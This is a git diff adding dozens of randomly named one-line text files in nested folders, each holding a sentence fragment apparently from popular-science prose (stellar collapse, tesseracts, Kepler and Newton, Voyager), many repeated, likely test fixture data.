--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_kexmwphq.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_knxugjcygetunl.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_knxugjcygetunl.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_knxugjcygetunl.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_lfsezjxjfdwahmrctdlcpsjk.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_lfsezjxjfdwahmrctdlcpsjk.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_lfsezjxjfdwahmrctdlcpsjk.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_mvfxrgtxzon.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_mvfxrgtxzon.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_mvfxrgtxzon.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_mxkgmncskfvsbslmmxedj.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_mxkgmncskfvsbslmmxedj.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_mxkgmncskfvsbslmmxedj.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ojduukxochowqxquyp.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ojduukxochowqxquyp.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_ojduukxochowqxquyp.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_osmdgxvsqlq.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_osmdgxvsqlq.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_osmdgxvsqlq.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_uihqyygz.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_uihqyygz.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_uihqyygz.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_vyqyxovvm.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_vyqyxovvm.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_vyqyxovvm.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_vzzcsyfxqde.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_vzzcsyfxqde.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_vzzcsyfxqde.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_wgymtzhrbjnqojfoc.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_wgymtzhrbjnqojfoc.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_wgymtzhrbjnqojfoc.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_wsddixkuakssn.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_wsddixkuakssn.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_wsddixkuakssn.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_xupspkrmleulwbp.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_xupspkrmleulwbp.txt
new file mode 100644
index 0000000..5f2d13c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/file_xupspkrmleulwbp.txt
@@ -0,0 +1 @@
+gravitational collapse; interior temperatures became very high, thermonuclear reactions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/cfwblzcfioqhgzqmctlqfbx.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/cfwblzcfioqhgzqmctlqfbx.txt
new file mode 100644
index 0000000..505bf74
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/cfwblzcfioqhgzqmctlqfbx.txt
@@ -0,0 +1 @@
+Kepler and Newton represent a critical transition in human history, the discovery
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/fdssexbgmbrmbmldyabx.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/fdssexbgmbrmbmldyabx.txt
new file mode 100644
index 0000000..ec839b7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/fdssexbgmbrmbmldyabx.txt
@@ -0,0 +1 @@
+a longer pause, after which the caller requested, ‘Lemme talk to a real shtrominer.’ When
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_bxoukdjijfehre.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_bxoukdjijfehre.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_bxoukdjijfehre.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_ccxphfgfedijoarbspdpowmi.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_ccxphfgfedijoarbspdpowmi.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_ccxphfgfedijoarbspdpowmi.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_cdiljpcjxia.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_cdiljpcjxia.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_cdiljpcjxia.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_ceztsfebfpcqilmw.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_ceztsfebfpcqilmw.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_ceztsfebfpcqilmw.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_dlnnqzhmag.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_dlnnqzhmag.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_dlnnqzhmag.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_eamcfjzmohvriyocu.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_eamcfjzmohvriyocu.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_eamcfjzmohvriyocu.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_erstodlu.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_erstodlu.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_erstodlu.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_fjiotorsarox.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_fjiotorsarox.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_fjiotorsarox.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_fnnhxhjjnp.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_fnnhxhjjnp.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_fnnhxhjjnp.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_gegzdvowugqxfexarslwvesz.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_gegzdvowugqxfexarslwvesz.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_gegzdvowugqxfexarslwvesz.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_jmmdytgebdeeondjazehbtre.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_jmmdytgebdeeondjazehbtre.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_jmmdytgebdeeondjazehbtre.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_kosbomyihfazccpixuwlzuo.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_kosbomyihfazccpixuwlzuo.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_kosbomyihfazccpixuwlzuo.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_leowyihxf.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_leowyihxf.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_leowyihxf.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_pysksygngjdjrszfzdke.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_pysksygngjdjrszfzdke.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_pysksygngjdjrszfzdke.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qkmjccbyvgstgkxde.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qkmjccbyvgstgkxde.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qkmjccbyvgstgkxde.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qrxceamc.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qrxceamc.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qrxceamc.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qtedhspiczmzdmdrmbld.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qtedhspiczmzdmdrmbld.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qtedhspiczmzdmdrmbld.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qvqgknimvmfqkunmxoztbuj.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qvqgknimvmfqkunmxoztbuj.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_qvqgknimvmfqkunmxoztbuj.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_uljqissdywejvlalbut.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_uljqissdywejvlalbut.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_uljqissdywejvlalbut.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_xtqyxvrmvgql.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_xtqyxvrmvgql.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_xtqyxvrmvgql.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_yohoqierhkftshrxsvfgp.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_yohoqierhkftshrxsvfgp.txt
new file mode 100644
index 0000000..46911a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/file_yohoqierhkftshrxsvfgp.txt
@@ -0,0 +1 @@
+all the vertices connected by lines. But for a real tesseract, in four dimensions, all the lines
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/hksrwvpfazidwnobctghklzn.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/hksrwvpfazidwnobctghklzn.txt
new file mode 100644
index 0000000..9153f25
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/hksrwvpfazidwnobctghklzn.txt
@@ -0,0 +1 @@
+Technological advance required the freest possible pursuit of knowledge, so Hollandbecame the leading publisher and bookseller in Europe, translating works written in other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ikswzrtrnricmmrratjymmwp.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ikswzrtrnricmmrratjymmwp.txt
new file mode 100644
index 0000000..ceb13b7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ikswzrtrnricmmrratjymmwp.txt
@@ -0,0 +1 @@
+we wanted a dog to help us care for sheep, we selected breeds that were intelligent,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/kiegqtxxygehc.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/kiegqtxxygehc.txt
new file mode 100644
index 0000000..70de562
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/kiegqtxxygehc.txt
@@ -0,0 +1 @@
+A book is made from a tree. It is an assemblage of flat, flexible parts (still called
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/knjqfdtfjchjcqecewcdk.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/knjqfdtfjchjcqecewcdk.txt
new file mode 100644
index 0000000..6d9e1a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/knjqfdtfjchjcqecewcdk.txt
@@ -0,0 +1 @@
+on a scale that would be considered unacceptable in the civilian sphere. In the Soviet Union
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/odasrzrgzgwxivckyff.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/odasrzrgzgwxivckyff.txt
new file mode 100644
index 0000000..15ceb49
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/odasrzrgzgwxivckyff.txt
@@ -0,0 +1 @@
+were in fact attacking.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ovwigvzamirjbh.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ovwigvzamirjbh.txt
new file mode 100644
index 0000000..65d861b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ovwigvzamirjbh.txt
@@ -0,0 +1 @@
+* In 1979 Pope John Paul II cautiously proposed reversing the condemnation of Galileo done 346
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/tfnhpfmwvqpqmvapirbf.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/tfnhpfmwvqpqmvapirbf.txt
new file mode 100644
index 0000000..9297256
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/tfnhpfmwvqpqmvapirbf.txt
@@ -0,0 +1 @@
+Therefore heaven was completed first and earth assumed shape after. When heaven
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/vhpcvmpflrtdafemjcg.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/vhpcvmpflrtdafemjcg.txt
new file mode 100644
index 0000000..1938e45
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/vhpcvmpflrtdafemjcg.txt
@@ -0,0 +1 @@
+by natural selection, was asked to review one of Lowell’s books. He had been an engineer
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/wdneikkztmuvnirxwcdlmdl.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/wdneikkztmuvnirxwcdlmdl.txt
new file mode 100644
index 0000000..7f55296
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/wdneikkztmuvnirxwcdlmdl.txt
@@ -0,0 +1 @@
+The two Voyager spacecraft are bound for the stars. Affixed to each is a gold-plated
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/wkgopcquilaiffskhlufdu.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/wkgopcquilaiffskhlufdu.txt
new file mode 100644
index 0000000..b6a3547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/wkgopcquilaiffskhlufdu.txt
@@ -0,0 +1 @@
+functions for them to be replaced altogether. So they wheeze along, out-of-date and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ybkpuysyvyefnnr.txt b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ybkpuysyvyefnnr.txt
new file mode 100644
